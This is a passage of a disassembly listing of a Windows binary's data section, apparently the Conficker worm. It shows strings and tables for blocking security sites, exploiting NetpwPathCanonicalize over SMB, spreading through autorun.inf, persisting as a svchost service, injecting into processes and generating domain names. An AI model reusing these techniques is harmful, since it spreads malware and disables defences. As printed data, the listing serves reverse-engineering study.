0C357C1Fh dd 0CE81260h, 0CE8127Fh, 0CBE9E00h, 0CBE9EFFh, 0C47C420h dd 0C47C42Fh, 0D1F0C000h, 0D1F0DFFFh, 46250000h, 4625BFFFh dd 0C3157C0h, 0C3157FFh, 4A5DCD90h, 4A5DCD97h, 4A5DCD98h dd 4A5DCD9Fh, 4A5DCE40h, 4A5DCE47h, 46598B78h, 46598B7Fh dd 0CE477700h, 0CE4777FFh, 0CE477500h, 0CE4775FFh, 0CE477600h dd 0CE4776FFh, 0D19A9B70h, 0D19A9B77h, 41443E98h, 41443E9Fh dd 4327D0A8h, 4327D0AFh, 41F24300h, 41F243FFh, 0CC47BF00h dd 0CC47BFFFh, 3FC29B90h, 3FC29B97h, 428855C0h, 428855C7h dd 407CB848h, 407CB84Fh, 0D8C8CE00h, 0D8C8CEFFh, 3F505D00h dd 3F505D7Fh, 43C0E1D0h, 43C0E1DFh, 454AA200h, 454AA2FFh dd 41DD0500h, 41DD05FFh, 4A5DCD90h, 4A5DCD97h, 4A5DCD98h dd 4A5DCD9Fh, 4A5DCE40h, 4A5DCE47h, 46598B78h, 46598B7Fh dd 41F85500h, 41F855FFh, 0C7F39DC0h, 0C7F39DDFh, 0C7F39D70h dd 0C7F39D77h, 41C2D2E0h, 41C2D2FFh, 0D0C28B00h, 0D0C28BFFh dd 0D0CC3180h, 0D0CC31FFh, 0D0CD1A00h, 0D0CD1AFFh, 0D0D9B800h dd 0D0D9BBFFh, 0D0DEAC00h, 0D0DEACFFh, 0D0E0C840h, 0D0E0C85Fh dd 0D0E56400h, 0D0E565FFh, 0D0F11300h, 0D0F1130Fh, 0D0F11310h dd 0D0F1131Fh, 0D0F109E0h, 0D0F109EFh, 0D0F46C00h, 0D0F46C0Fh dd 0D0F51000h, 0D0F5101Fh, 0D0F911A0h, 0D0F911AFh, 3F68D800h dd 3F68D87Fh, 3F45F500h, 3F45F5FFh, 445A8D48h, 445A8D4Fh dd 3FC67BA0h, 3FC67BA7h, 44F83040h, 44F83047h, 44F83048h dd 44F8304Fh, 633108F8h, 633108FFh, 4126AC48h, 4126AC4Fh dd 4126AC60h, 4126AC6Fh, 4B95AE10h, 4B95AE17h, 4B9764F0h dd 4B9764FFh, 40510860h, 4051087Fh, 4370FF90h, 4370FF97h dd 3FF0C9B0h, 3FF0C9BFh, 0CE10D1D0h, 0CE10D1DFh, 3FF0C3D0h dd 3FF0C3DFh, 0CE10CC40h, 0CE10CC4Fh, 0CE10DF00h, 0CE10DFFFh dd 3FF0D800h, 3FF0DBFFh, 3FF0DC00h, 3FF0DFFFh, 0CE10F618h dd 0CE10F61Fh, 3FF0C3C0h, 3FF0C3CFh, 0CE10E0A0h, 0CE10E0BFh dd 43C02730h, 43C0273Fh, 4820F0A0h, 4820F0AFh, 4820C998h dd 4820C99Fh, 43275198h, 4327519Fh, 45147F20h, 45147F27h dd 0D8341C00h, 0D8341CFFh, 462AE600h, 462AE7FFh, 3FFB6100h dd 3FFB61FFh, 43788480h, 43788487h, 43788498h, 4378849Fh dd 437884C0h, 437884CFh, 437884D0h, 437884DFh, 447B4F40h dd 447B4F4Fh, 447B4F30h, 447B4F37h, 447B4F50h, 447B4F5Fh dd 43762BE0h, 43762BE7h, 45E5D0E0h, 45E5D0E7h, 427A55C8h dd 427A55CFh, 3FC91248h, 3FC9124Fh, 4B27F490h, 4B27F497h dd 4B2071B8h, 4B2071BFh, 41DFC400h, 41DFC4FFh, 0D1F90B00h dd 0D1F90B0Fh, 43C0DEC0h, 43C0DECFh, 407C4410h, 407C441Fh dd 43C0A850h, 43C0A85Fh, 57EE3080h, 57EE308Fh, 42232000h dd 42233FFFh, 42232D00h, 42232DFFh, 0C72BB900h, 0C72BC2FFh dd 0C7557D00h, 0C7557FFFh, 0C6062000h, 0C6063FFFh, 0CCB26EE0h dd 0CCB26EFFh, 0D80AC000h, 0D80ACFFFh, 41796D00h, 41796DFFh dd 417D1D00h, 417D1D7Fh, 9B400000h, 9B40FFFFh, 0CECC0AC0h dd 0CECC0ADFh, 0D8FA1000h, 0D8FA1FFFh, 0D82389A0h, 0D82389BFh dd 0D8238980h, 0D823898Fh, 0D82389C0h, 0D82389FFh, 0C9B3AB0h dd 0C9B3ABFh, 0D15A70B0h, 0D15A70BFh, 427F41B8h, 427F41BFh dd 41431FB0h, 41431FB7h, 43625C00h, 43625CFFh, 4362DF00h dd 4362DFFFh, 4158B200h, 4158B2FFh, 43634B00h, 43634BFFh dd 43636900h, 4363691Fh, 41D3F300h, 41D3F37Fh, 4362E200h dd 4362E2FFh, 0D88E0C00h, 0D88E0C1Fh, 41587E00h, 41587E1Fh dd 415B9F60h, 415B9F7Fh, 415A2960h, 415A297Fh, 0CC109B20h dd 0CC109B3Fh, 0D1BEE510h, 0D1BEE51Fh, 0D1B7EB90h, 0D1B7EB9Fh dd 0D1B7F320h, 0D1B7F32Fh, 0D1B7C20Ch, 0D1B7C20Fh, 4799EF00h dd 4799EF07h, 4B0AF2A8h, 4B0AF2AFh, 4B362FB0h, 4B362FB7h dd 40AB7D80h, 40AB7D87h, 0D0C27400h, 0D0C274FFh, 0D0C29800h dd 0D0C298FFh, 0D0D5F200h, 0D0D5F2FFh, 4B0A4040h, 4B0A405Fh dd 41DEC000h, 41DEC0FFh, 628177A0h, 628177A7h, 424D8200h dd 424D8207h, 0D556AC80h, 0D556AC9Fh, 0D5F40A40h, 0D5F40A4Fh dd 48ECA780h, 48ECA79Fh, 403AB000h, 403AB0FFh, 0CAB9A90h dd 0CAB9A97h, 0D86F6C60h, 0D86F6C7Fh, 0CDA85560h, 0CDA8557Fh dd 3F97E940h, 3F97E95Fh, 3F95E4A0h, 3F95E4BFh, 3F95EE40h dd 3F95EE5Fh, 3F91F420h, 3F91F43Fh, 417AF100h, 417AF11Fh dd 42B45000h, 42B45FFFh, 0D8638000h, 0D8638FFFh, 0D8680000h dd 0D8681FFFh, 447EF7F8h, 447EF7FFh, 43420C80h, 43420C87h dd 40511080h, 4051109Fh, 9BD4F140h, 9BD4F147h, 9BD4E5C0h dd 9BD4E5DFh, 0D8291B08h, 0D8291B0Fh, 4AD38940h, 4AD3895Fh dd 4AD388A0h, 4AD388A7h, 4569B538h, 4569B53Fh, 428C29C0h dd 428C29C7h, 478A70C0h, 478A70DFh, 3FCBCA08h, 3FCBCA0Fh dd 45E20470h, 45E2047Fh, 4B0BFB80h, 4B0BFB9Fh, 4CE34298h dd 4CE3429Fh, 4CF9A800h, 4CF9A807h, 63929FC0h, 63929FC7h dd 43729888h, 4372988Fh, 41D09D10h, 41D09D1Fh, 41D6AC00h dd 41D6ACFFh, 437F4D00h, 437F4D0Fh, 74726563h, 2Eh, 736E6173h dd 2Eh, 39746962h, 2Eh, 2E746576h, 0 dword_9A3C58 dd 2E677661h, 0 ; DATA XREF: .text:009B94D4o dword_9A3C60 dd 2E707661h, 0 ; DATA XREF: .text:009B94D0o dword_9A3C68 dd 2E6163h ; DATA XREF: .text:009B94CCo dword_9A3C6C dd 2E69616Eh, 0 ; DATA XREF: .text:off_9B94C8o aWindowsupdate db 'windowsupdate',0 ; DATA XREF: .text:009B94C4o align 4 aWilderssecurit db 'wilderssecurity',0 ; DATA XREF: .text:009B94C0o aThreatexpert db 'threatexpert',0 ; DATA XREF: .text:009B94BCo align 4 aCastlecops db 'castlecops',0 ; DATA XREF: .text:009B94B8o align 10h aSpamhaus db 'spamhaus',0 ; DATA XREF: .text:009B94B4o align 4 aCpsecure db 'cpsecure',0 ; DATA XREF: .text:009B94B0o align 4 aArcabit db 'arcabit',0 ; DATA XREF: .text:009B94ACo aEmsisoft db 'emsisoft',0 ; DATA XREF: .text:009B94A8o align 4 aSunbelt db 'sunbelt',0 ; DATA XREF: .text:009B94A4o aSecurecomputin db 'securecomputing',0 ; DATA XREF: .text:009B94A0o aRising db 'rising',0 ; DATA XREF: .text:009B949Co align 4 aPrevx db 'prevx',0 ; DATA XREF: .text:009B9498o align 4 aPctools db 'pctools',0 ; DATA XREF: .text:009B9494o aNorman db 'norman',0 ; DATA XREF: .text:009B9490o align 4 aK7computing db 'k7computing',0 ; DATA XREF: .text:009B948Co aIkarus db 'ikarus',0 ; DATA XREF: .text:009B9488o align 4 aHauri db 'hauri',0 ; DATA XREF: .text:009B9484o align 10h aHacksoft db 'hacksoft',0 ; DATA XREF: .text:009B9480o align 4 aGdata db 'gdata',0 ; DATA XREF: .text:009B947Co align 4 aFortinet db 'fortinet',0 ; DATA XREF: .text:009B9478o align 10h aEwido db 'ewido',0 ; DATA XREF: .text:009B9474o align 4 aClamav db 'clamav',0 ; DATA XREF: .text:009B9470o align 10h aComodo db 'comodo',0 ; DATA XREF: .text:009B946Co align 4 aQuickheal db 'quickheal',0 ; DATA XREF: .text:009B9468o align 4 aAvira db 'avira',0 ; DATA XREF: .text:009B9464o align 4 aAvast db 'avast',0 ; DATA XREF: .text:009B9460o align 4 aEsafe db 'esafe',0 ; DATA XREF: .text:009B945Co align 4 aAhnlab db 'ahnlab',0 ; DATA XREF: .text:009B9458o align 4 aCentralcommand db 'centralcommand',0 ; DATA XREF: .text:009B9454o align 4 aDrweb db 'drweb',0 ; DATA XREF: .text:009B9450o align 4 aGrisoft db 'grisoft',0 ; DATA XREF: .text:009B944Co aEset db 'eset',0 ; DATA XREF: .text:009B9448o align 4 aNod32 db 'nod32',0 ; DATA XREF: .text:009B9444o align 4 aFProt db 'f-prot',0 ; DATA XREF: .text:009B9440o align 4 aJotti db 'jotti',0 ; DATA XREF: .text:009B943Co align 4 aKaspersky db 'kaspersky',0 ; DATA XREF: .text:009B9438o align 10h aFSecure db 'f-secure',0 ; DATA XREF: .text:009B9434o align 4 aComputerassoci db 'computerassociates',0 ; DATA XREF: .text:009B9430o align 10h aNetworkassocia db 'networkassociates',0 ; DATA XREF: .text:009B942Co align 4 aEtrust db 'etrust',0 ; DATA XREF: .text:009B9428o align 4 aPanda db 'panda',0 ; DATA XREF: .text:009B9424o align 4 aSophos db 'sophos',0 ; DATA XREF: .text:009B9420o align 4 aTrendmicro db 'trendmicro',0 ; DATA XREF: .text:009B941Co align 4 aMcafee db 'mcafee',0 ; DATA XREF: .text:009B9418o align 10h aNorton db 'norton',0 ; DATA XREF: .text:009B9414o align 4 aSymantec db 'symantec',0 ; DATA XREF: .text:009B9410o align 4 aMicrosoft db 'microsoft',0 ; DATA XREF: .text:009B940Co align 10h aDefender db 'defender',0 ; DATA XREF: .text:009B9408o align 4 aRootkit db 'rootkit',0 ; DATA XREF: .text:009B9404o aMalware db 'malware',0 ; DATA XREF: .text:009B9400o aSpyware db 'spyware',0 ; DATA XREF: .text:009B93FCo aVirus db 'virus',0 ; DATA XREF: .text:off_9B93F8o align 4 ; IID stru_9A3E8C stru_9A3E8C dd 304CE942h ; Data1 ; DATA XREF: sub_9A8DF5+1Eo dw 6E39h ; Data2 dw 40D8h ; Data3 db 94h, 3Ah, 0B9h, 13h, 0C4h, 0Ch, 9Ch, 0D4h; Data4 ; IID stru_9A3E9C stru_9A3E9C dd 0F7898AF5h ; Data1 ; DATA XREF: sub_9A8DF5+15o dw 0CAC4h ; Data2 dw 4632h ; Data3 db 0A2h, 0ECh, 0DAh, 6, 0E5h, 11h, 1Ah, 0F2h; Data4 ; IID stru_9A3EAC stru_9A3EAC dd 0CA545C6h ; Data1 ; DATA XREF: sub_9A8EDE+72o dw 37ADh ; Data2 dw 4A6Ch ; Data3 db 0BFh, 92h, 9Fh, 76h, 10h, 6, 7Eh, 0F5h; Data4 ; IID stru_9A3EBC stru_9A3EBC dd 0E0483BA0h ; Data1 ; DATA XREF: sub_9A8EDE+6Ao dw 47FFh ; Data2 dw 4D9Ch ; Data3 db 0A6h, 0D6h, 77h, 41h, 0D0h, 0B1h, 95h, 0F7h; Data4 ; char a08x08x[] a08x08x db '%08x%08x',0 ; DATA XREF: sub_9A9072+74o align 4 stru_9A3ED8 _msEH <0FFFFFFFFh, offset loc_9A9185, offset loc_9A9189> ; DATA XREF: sub_9A90FF+2o ; char aTcp[] aTcp db 'TCP',0 ; DATA XREF: sub_9A9199+A6o ; sub_9A932E+90o ; char aD[] aD db '%d',0 ; DATA XREF: sub_9A9199+1Co ; sub_9B5214+11Fo ... align 10h stru_9A3EF0 _msEH <0FFFFFFFFh, offset loc_9A9278, offset loc_9A927C> ; DATA XREF: sub_9A9199+5o align 10h stru_9A3F00 _msEH <0FFFFFFFFh, offset loc_9A931A, offset loc_9A931E> ; DATA XREF: sub_9A9289+5o ; char aU[] aU db '%u',0 ; DATA XREF: sub_9A932E+2Ao ; sub_9A932E+A3o ... align 10h stru_9A3F10 _msEH <0FFFFFFFFh, offset loc_9A945D, offset loc_9A9461> ; DATA XREF: sub_9A932E+5o aHttpWww_getmyi db 'http://www.getmyip.org',0 ; DATA XREF: .text:009B94F4o align 4 aHttpWww_whatsm db 'http://www.whatsmyipaddress.com',0 ; DATA XREF: .text:009B94F0o aHttpWww_whatis db 'http://www.whatismyip.org',0 ; DATA XREF: .text:009B94ECo align 10h aHttpCheckip_dy db 'http://checkip.dyndns.org',0 ; DATA XREF: .text:off_9B94E8o align 4 ; char SubStr[] SubStr db 'ip address',0 ; DATA XREF: sub_9A9471+7Eo align 4 stru_9A3F98 _msEH <0FFFFFFFFh, offset loc_9A956C, offset loc_9A9570> ; DATA XREF: sub_9A9471+2o align 8 stru_9A3FA8 _msEH <0FFFFFFFFh, offset loc_9A961C, offset loc_9A9620> ; DATA XREF: sub_9A9580+2o ; char aHttpD_D_D_DDS[] aHttpD_D_D_DDS db 'http://%d.%d.%d.%d:%d/%s',0 ; DATA XREF: sub_9A9654+2Ao ; sub_9AECA4+3Bo align 10h ; char aSIpc_0[] aSIpc_0 db '\\%s\IPC$',0 ; DATA XREF: sub_9A9744+12o ; sub_9A9BBC+12Eo align 4 aAaa: ; DATA XREF: sub_9A97A7+55o unicode 0, <AAA>,0 aS_0 db 'S',0 ; DATA XREF: sub_9A97A7+50o aVivivivi db 'V‰V‰V‰V‰',0 align 10h aM db 'M',0 ; DATA XREF: sub_9A97A7+4Bo aVivi db 'V‰V‰',0 align 4 ; unsigned __int8 ProtSeq ProtSeq db 'ncacn_np',0 ; DATA XREF: sub_9A97A7+1Fo ; sub_9A983B+22o align 8 stru_9A4008 _msEH <0FFFFFFFFh, offset loc_9A9812, offset loc_9A9820> ; DATA XREF: sub_9A97A7+2o ; unsigned __int8 Endpoint Endpoint dd 7069705Ch, 72735C65h, 63767376h, 0 ; DATA XREF: sub_9A9BBC+98o aHhdhh: ; DATA XREF: sub_9A983B+7Do unicode 0, <HHDHH>,0 asc_9A4030: ; DATA XREF: sub_9A983B+69o ; sub_9A98F7+B7o unicode 0, <\>,0 align 8 stru_9A4038 _msEH <0FFFFFFFFh, offset loc_9A98CE, offset loc_9A98DC> ; DATA XREF: sub_9A983B+5o ; unsigned __int8 dword_9A4044 dword_9A4044 dd 7069705Ch, 72625C65h, 6573776Fh, 72h ; DATA XREF: sub_9A98F7+25Co dword_9A4054 dd 0B6244A92h, 37F50397h, 0 ; DATA XREF: sub_9A98F7+234o a____: ; DATA XREF: sub_9A98F7+10Do unicode 0, <\..\..\>,0 ; char aD_D_D_D[] aD_D_D_D db '\\%d.%d.%d.%d',0 ; DATA XREF: sub_9A98F7+21o align 10h ; char aD_D_D_D_0[] aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_9A9BBC+2Do ; wchar_t a__ a__: ; DATA XREF: sub_9A9D17+1Do unicode 0, <\..\>,0 align 4 stru_9A4098 _msEH <0FFFFFFFFh, offset loc_9A9D5E, offset loc_9A9D62> ; DATA XREF: sub_9A9D17+2o align 8 stru_9A40A8 _msEH <0FFFFFFFFh, offset loc_9A9DC1, offset loc_9A9DC5> ; DATA XREF: sub_9A9DA5+2o align 8 stru_9A40B8 _msEH <0FFFFFFFFh, offset loc_9A9E49, offset loc_9A9E4D> ; DATA XREF: sub_9A9E22+2o align 8 stru_9A40C8 _msEH <0FFFFFFFFh, offset loc_9A9F04, offset loc_9A9F08> ; DATA XREF: sub_9A9E95+5o align 8 stru_9A40D8 _msEH <0FFFFFFFFh, offset loc_9A9F9A, offset loc_9A9F9E> ; DATA XREF: sub_9A9F50+5o align 8 stru_9A40E8 _msEH <0FFFFFFFFh, offset loc_9AA039, offset loc_9AA03D> ; DATA XREF: sub_9A9FE6+5o align 8 stru_9A40F8 _msEH <0FFFFFFFFh, offset loc_9AA121, offset loc_9AA125> ; DATA XREF: sub_9AA082+5o align 8 stru_9A4108 _msEH <0FFFFFFFFh, 0, offset nullsub_1> ; DATA XREF: sub_9AA135+2o align 8 stru_9A4118 _msEH <0FFFFFFFFh, offset loc_9AA28A, offset loc_9AA28E> ; DATA XREF: sub_9AA1CD+5o align 8 stru_9A4128 _msEH <0FFFFFFFFh, offset loc_9AA3ED, offset loc_9AA3F1> ; DATA XREF: sub_9AA2CE+2o ; char dword_9A4134[] dword_9A4134 dd 6174656Eh, 32336970h, 6C6C642Eh, 0 ; DATA XREF: sub_9AA482+Fo ; char aNetpwpathcanon[] aNetpwpathcanon db 'NetpwPathCanonicalize',0 ; DATA XREF: sub_9AA482+Ao align 4 ; char aNtdll_dll[] aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_9AA49F+Fo ; sub_9ABCA4+B8o ... align 4 ; char aNtqueryinforma[] aNtqueryinforma db 'NtQueryInformationProcess',0 ; DATA XREF: sub_9AA49F+Ao ; sub_9ABECA+8o ... align 4 ; char aQuery_main[] aQuery_main db 'Query_Main',0 ; DATA XREF: sub_9AA4BC+56o align 10h ; char aDnsquery_w[] aDnsquery_w db 'DnsQuery_W',0 ; DATA XREF: sub_9AA4BC+3Fo align 4 ; char aDnsquery_utf8[] aDnsquery_utf8 db 'DnsQuery_UTF8',0 ; DATA XREF: sub_9AA4BC+28o align 4 ; char aDnsapi_dll[] aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_9AA4BC+13o align 4 ; char aDnsquery_a[] aDnsquery_a db 'DnsQuery_A',0 ; DATA XREF: sub_9AA4BC+Eo align 4 ; char aWs2_32_dll[] aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_9AA53A+24o align 10h ; char aSendto[] aSendto db 'sendto',0 ; DATA XREF: sub_9AA53A+1Fo align 4 ; char ModuleName[] ModuleName db 'dnsrslvr.dll',0 ; DATA XREF: sub_9AA53Ao align 4 ; const WCHAR aSvchost_exeKNe aSvchost_exeKNe: ; DATA XREF: sub_9AA56C:loc_9AA56Fo unicode 0, <svchost.exe -k NetworkService>,0 ; char asc_9A4224[] asc_9A4224 db ' ',0 ; DATA XREF: sub_9AA5D4:loc_9AA5E7o ; sub_9AA6DB:loc_9AA716o align 4 ; char asc_9A4228[] asc_9A4228 db 0Dh,0Ah,0 ; DATA XREF: sub_9AA640:loc_9AA665o ; sub_9AE6A2+189o align 4 asc_9A422C: ; DATA XREF: sub_9AA640:loc_9AA65Eo dw 0Dh unicode 0, <>,0 asc_9A4230: ; DATA XREF: sub_9AA640+17o dw 0Ah unicode 0, <>,0 ; char asc_9A4234[] asc_9A4234 db ';',0 ; DATA XREF: sub_9AA6DB:loc_9AA728o align 4 ; char asc_9A4238[] asc_9A4238 db '=',0 ; DATA XREF: sub_9AA7AA+7Co ; sub_9AA85A+154o align 4 ; char asc_9A423C[] asc_9A423C db ']',0 ; DATA XREF: sub_9AA7AA+3Ao ; sub_9AA85A+93o align 10h asc_9A4240: ; DATA XREF: sub_9AA7AA+Ao ; sub_9AA85A+6Co unicode 0, <[>,0 a4_0 db ',4',0 ; DATA XREF: sub_9AA85A+1B4o align 4 aSystem32Shell3 db '\system32\shell32.dll',0 ; DATA XREF: sub_9AA85A+1A4o align 10h aWindir db '%windir%',0 ; DATA XREF: sub_9AA85A+198o align 4 aSystemroot db '%systemroot%',0 ; DATA XREF: sub_9AA85A+191o align 4 aAutorun db 'autorun',0 ; DATA XREF: sub_9AA85A+80o aUseautoplay1 db 'useautoplay=1',0 ; DATA XREF: sub_9AA85A+3Ao align 4 ; char aIcon[] aIcon db 'icon',0 ; DATA XREF: sub_9AA85A+1Eo ; sub_9AA85A:loc_9AA9D3o align 4 ; char aAction[] aAction db 'action',0 ; DATA XREF: sub_9AA85A+16o ; sub_9AA85A:loc_9AAA15o align 4 aOpen db 'open',0 ; DATA XREF: sub_9AA85A+11o align 4 aShellexecute db 'shellexecute',0 ; DATA XREF: sub_9AA85A+7o align 4 aRundll32 db 'rundll32',0 ; DATA XREF: sub_9AAAA0+41o align 4 stru_9A42C8 _msEH <0FFFFFFFFh, offset loc_9AAB77, offset loc_9AAB7B> ; DATA XREF: sub_9AAAA0+2o ; char a_SSS_SS[] a_SSS_SS db '.\%s\%s\%s.%s,%s',0 ; DATA XREF: sub_9AABA4+3D8o align 4 ; char aSautorun_inf[] aSautorun_inf db '%sautorun.inf',0 ; DATA XREF: sub_9AABA4+345o align 4 ; char aSS_1[] aSS_1 db '%s\%s',0 ; DATA XREF: sub_9AABA4+27Co align 10h ; char aSS_0[] aSS_0 db '%s%s',0 ; DATA XREF: sub_9AABA4+21Do align 4 ; char aSSSS_S[] aSSSS_S db '%s%s\%s\%s.%s',0 ; DATA XREF: sub_9AABA4+1B9o align 4 ; char aSDDDDDDDDDDDDD[] aSDDDDDDDDDDDDD db 'S-%d-%d-%d-%d%d%d-%d%d%d-%d%d%d-%d',0 ; DATA XREF: sub_9AABA4+13Eo align 4 ; char aRecycler[] aRecycler db 'RECYCLER',0 ; DATA XREF: sub_9AABA4+B1o align 4 ; char aDll_0[] aDll_0 db 'dll',0 ; DATA XREF: sub_9AABA4+86o align 10h stru_9A4350 _msEH <0FFFFFFFFh, offset loc_9AAFAF, offset loc_9AAFB3> ; DATA XREF: sub_9AABA4+5o ; char aExplorerS[] aExplorerS db 'explorer %s',0 ; DATA XREF: sub_9AB1F2+A2o ; char a__0[] a__0 db '.',0 ; DATA XREF: sub_9AB1F2+8Eo align 10h ; char aSoftwareMicr_0[] aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folde' ; DATA XREF: sub_9AB1F2+14o db 'r\Hidden\SHOWALL',0 align 4 ; char aCheckedvalue[] aCheckedvalue db 'CheckedValue',0 ; DATA XREF: sub_9AB1F2+Fo align 4 ; char aOpenFolderToVi[] aOpenFolderToVi db 'Open folder to view files',0 ; DATA XREF: sub_9AB2C3:loc_9AB301o align 10h ; char aShell32_dll[] aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_9AB2C3+7o ; char aKernel32_dll[] aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_9AB6A9+18o ; sub_9ABCA4+5Ao ... align 4 ; char aThread08xStatu[] aThread08xStatu db 'thread: %08x, status: %08x',0Ah,0 ; DATA XREF: sub_9ABCA4+148o ; char aLoadlibraryexa[] aLoadlibraryexa db 'LoadLibraryExA',0 ; DATA XREF: sub_9ABCA4+CDo align 4 ; char aNtqueueapcthre[] aNtqueueapcthre db 'NtQueueApcThread',0 ; DATA XREF: sub_9ABCA4:loc_9ABD57o align 4 ; char ProcName[] ProcName db 'LoadLibraryA',0 ; DATA XREF: sub_9ABCA4+55o align 4 ; char aNtsetinformati[] aNtsetinformati db 'NtSetInformationProcess',0 ; DATA XREF: sub_9ABFFB+24o align 8 stru_9A4478 _msEH <0FFFFFFFFh, offset loc_9AC24C, offset loc_9AC250> ; DATA XREF: sub_9AC163+2o dd 7073796Dh, 2E656361h, 6D6F63h ; DATA XREF: .text:009B9AC4o dd 2E6E736Dh, 6D6F63h ; DATA XREF: .text:009B9AC0o ; .text:009B9D34o dd 79616265h, 6D6F632Eh, 0 ; DATA XREF: .text:009B9ABCo dword_9A44A4 dd 2E6E6E63h, 6D6F63h ; DATA XREF: .text:009B9AB8o dword_9A44AC dd 2E6C6F61h, 6D6F63h ; DATA XREF: .text:off_9B9AB4o ; char aHttpWww_S[] aHttpWww_S db 'http://www.%s',0 ; DATA XREF: sub_9AC476+20o ; sub_9ADB52+2Co align 8 stru_9A44C8 _msEH <0FFFFFFFFh, offset loc_9AC6DE, offset loc_9AC6E2> ; DATA XREF: sub_9AC5BB+2o align 8 stru_9A44D8 _msEH <0FFFFFFFFh, offset loc_9AC8DF, offset loc_9AC8E3> ; DATA XREF: sub_9AC789+2o ; char aN08x08x08x[] aN08x08x08x db 'n%08x%08x%08x',0 ; DATA XREF: sub_9AC911+A2o align 4 ; char aW08x08x08x[] aW08x08x08x db 'w%08x%08x%08x',0 ; DATA XREF: sub_9ACABE+310o ; sub_9ACABE+4B3o align 4 ; char aL08x08x08x[] aL08x08x08x db 'l%08x%08x%08x',0 ; DATA XREF: sub_9ACABE+9Co ; sub_9ACABE+433o align 4 aWindows_0: ; DATA XREF: .text:009B9B18o unicode 0, <Windows>,0 aUpdate: ; DATA XREF: .text:009B9B14o unicode 0, <Update>,0 align 4 aUniversal: ; DATA XREF: .text:009B9B10o unicode 0, <Universal>,0 aTime: ; DATA XREF: .text:009B9B0Co unicode 0, <Time>,0 align 4 aTask: ; DATA XREF: .text:009B9B08o unicode 0, <Task>,0 align 10h aSystem_0: ; DATA XREF: .text:009B9B04o unicode 0, <System>,0 align 10h aSupport: ; DATA XREF: .text:009B9B00o unicode 0, <Support>,0 aShell: ; DATA XREF: .text:009B9AFCo unicode 0, <Shell>,0 aServer_0: ; DATA XREF: .text:009B9AF8o unicode 0, <Server>,0 align 4 aSecurity_0: ; DATA XREF: .text:009B9AF4o unicode 0, <Security>,0 align 10h aNetwork: ; DATA XREF: .text:009B9AF0o unicode 0, <Network>,0 aMonitor_0: ; DATA XREF: .text:009B9AECo unicode 0, <Monitor>,0 aMicrosoft_0: ; DATA XREF: .text:009B9AE8o unicode 0, <Microsoft>,0 aManager_0: ; DATA XREF: .text:009B9AE4o unicode 0, <Manager>,0 aInstaller: ; DATA XREF: .text:009B9AE0o unicode 0, <Installer>,0 aImage: ; DATA XREF: .text:009B9ADCo unicode 0, <Image>,0 aHelper: ; DATA XREF: .text:009B9AD8o unicode 0, <Helper>,0 align 4 aDriver: ; DATA XREF: .text:009B9AD4o unicode 0, <Driver>,0 align 4 aConfig: ; DATA XREF: .text:009B9AD0o unicode 0, <Config>,0 align 4 aCenter: ; DATA XREF: .text:009B9ACCo unicode 0, <Center>,0 align 4 aBoot: ; DATA XREF: .text:off_9B9AC8o unicode 0, <Boot>,0 align 10h ; char aResetsr[] aResetsr db 'ResetSR',0 ; DATA XREF: sub_9AD00D+22o ; char LibFileName[] LibFileName db 'srclient.dll',0 ; DATA XREF: sub_9AD00D+Co align 4 stru_9A4678 _msEH <0FFFFFFFFh, offset loc_9AD048, offset loc_9AD04C> ; DATA XREF: sub_9AD00D+2o align 8 dword_9A4688 dd 0FFFFFFFFh, 9AD242h, 9AD246h, 0 ; DATA XREF: sub_9AD062+5o stru_9A4698 _msEH <0FFFFFFFFh, offset loc_9AD331, offset loc_9AD335> ; DATA XREF: sub_9AD271+2o align 8 aSoftwareMicr_1: ; DATA XREF: sub_9AD3ED+Fo unicode 0, <SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost>,0 align 4 ; const WCHAR aServicedll aServicedll: ; DATA XREF: sub_9AD50E+1B9o unicode 0, <ServiceDll>,0 align 4 ; const WCHAR SubKey SubKey: ; DATA XREF: sub_9AD50E+196o unicode 0, <Parameters>,0 align 4 ; const WCHAR aDescription aDescription: ; DATA XREF: sub_9AD50E+17Eo unicode 0, <Description>,0 ; const WCHAR aObjectname aObjectname: ; DATA XREF: sub_9AD50E+163o unicode 0, <ObjectName>,0 align 4 ; BYTE Data Data: ; DATA XREF: sub_9AD50E+15Bo unicode 0, <LocalSystem>,0 ; const WCHAR aImagepath aImagepath: ; DATA XREF: sub_9AD50E+14Fo unicode 0, <ImagePath>,0 ; const WCHAR aErrorcontrol aErrorcontrol: ; DATA XREF: sub_9AD50E+131o unicode 0, <ErrorControl>,0 align 4 ; const WCHAR aStart aStart: ; DATA XREF: sub_9AD50E+117o unicode 0, <Start>,0 ; const WCHAR aType aType: ; DATA XREF: sub_9AD50E+FDo unicode 0, <Type>,0 align 4 ; const WCHAR ValueName ValueName: ; DATA XREF: sub_9AD50E+EAo unicode 0, <DisplayName>,0 align 10h aSystemCurrentc: ; DATA XREF: sub_9AD50E+60o unicode 0, <SYSTEM\CurrentControlSet\Services\>,0 align 4 aSystemrootSyst: ; DATA XREF: sub_9AD50E+1Co unicode 0, <%SystemRoot%\system32\svchost.exe -k >,0 ; char aRundll32_exe_0[] aRundll32_exe_0 db 'rundll32.exe "%s",%s',0 ; DATA XREF: sub_9AD71D+163o align 4 ; wchar_t aNetsvcs aNetsvcs: ; DATA XREF: sub_9AD71D+F4o unicode 0, <netsvcs>,0 ; wchar_t asc_9A48AC asc_9A48AC: ; DATA XREF: sub_9AD71D+A3o unicode 0, < >,0 a_biz db '.biz',0 ; DATA XREF: .text:009B9D8Co align 4 a_info db '.info',0 ; DATA XREF: .text:009B9D88o align 10h a_org db '.org',0 ; DATA XREF: .text:009B9D84o align 4 a_net db '.net',0 ; DATA XREF: .text:009B9D80o align 10h a_com db '.com',0 ; DATA XREF: .text:009B9D7Co align 4 a_ws db '.ws',0 ; DATA XREF: .text:009B9D78o a_cn db '.cn',0 ; DATA XREF: .text:009B9D74o a_cc db '.cc',0 ; DATA XREF: .text:off_9B9D70o aDec db 'Dec',0 ; DATA XREF: .text:009B9D6Co aNov db 'Nov',0 ; DATA XREF: .text:009B9D68o aOct db 'Oct',0 ; DATA XREF: .text:009B9D64o aSep db 'Sep',0 ; DATA XREF: .text:009B9D60o aAug db 'Aug',0 ; DATA XREF: .text:009B9D5Co aJul db 